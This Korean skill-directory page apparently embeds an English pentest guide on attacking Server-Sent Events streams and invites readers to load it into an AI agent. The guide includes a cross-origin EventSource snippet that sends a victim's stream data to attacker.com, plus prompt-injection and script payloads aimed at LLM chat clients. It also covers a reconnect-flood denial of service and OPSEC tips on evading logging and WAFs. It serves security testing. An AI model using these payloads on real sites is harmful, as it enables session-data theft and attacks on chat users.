api-server-sent-events
하는 일
이 안내서는 채팅 도구와 실시간 대시보드가 쓰는, 서버에서 브라우저로 가는 단방향 스트림인 서버 전송 이벤트의 보안 점검을 다룹니다. 스트리밍 기능을 만들거나 테스트하는 팀을 위한 가이드입니다.
사용하는 경우
- ✓채팅이나 실시간 대시보드가 서버 전송 이벤트를 써서 보안 검토가 필요할 때.
- ✓다른 웹사이트가 방문자의 로그인을 이용해 스트림을 읽을 수 있는지 확인하고 싶을 때.
- ✓클라이언트 앱이 스트림 메시지를 AI 모델에 넘기고, 주입된 콘텐츠를 확인해야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 실시간 대시보드가 서버 전송 이벤트를 씁니다. 다른 웹사이트가 이 스트림을 읽을 수 있는지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 스트림의 응답 헤더와 출처 규칙을 확인한 뒤, 다른 사이트의 요청이 데이터를 읽을 수 있는지 테스트합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Server-Sent Events (SSE) Attack Surface
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
Detect
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)
Top bug classes
1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)
EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
3. Reconnection token leak via Last-Event-ID
SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...
4. Retry timing DoS
Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
Tooling
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.
OPSEC
- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on
Connection: keep-alive+text/event-stream).
References
- WHATWG HTML Living Standard — Server-Sent Events section
- "SSE Considered Harmful?" — Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns
자주 묻는 질문
서버 전송 이벤트란 무엇인가요?
서버가 하나의 열린 연결로 계속 업데이트를 보내는 단방향 스트림입니다.
출처 헤더가 왜 중요한가요?
출처 헤더가 없거나 지나치게 넓으면, 다른 사이트가 스트림을 읽을 수 있다고 안내서는 설명합니다.
AI 채팅 도구도 다루나요?
네. 스트림 메시지가 언어 모델 클라이언트에 전달될 때의 프롬프트 인젝션 위험을 언급합니다.
상세 정보
작성자의 원본 설명
Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14025
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.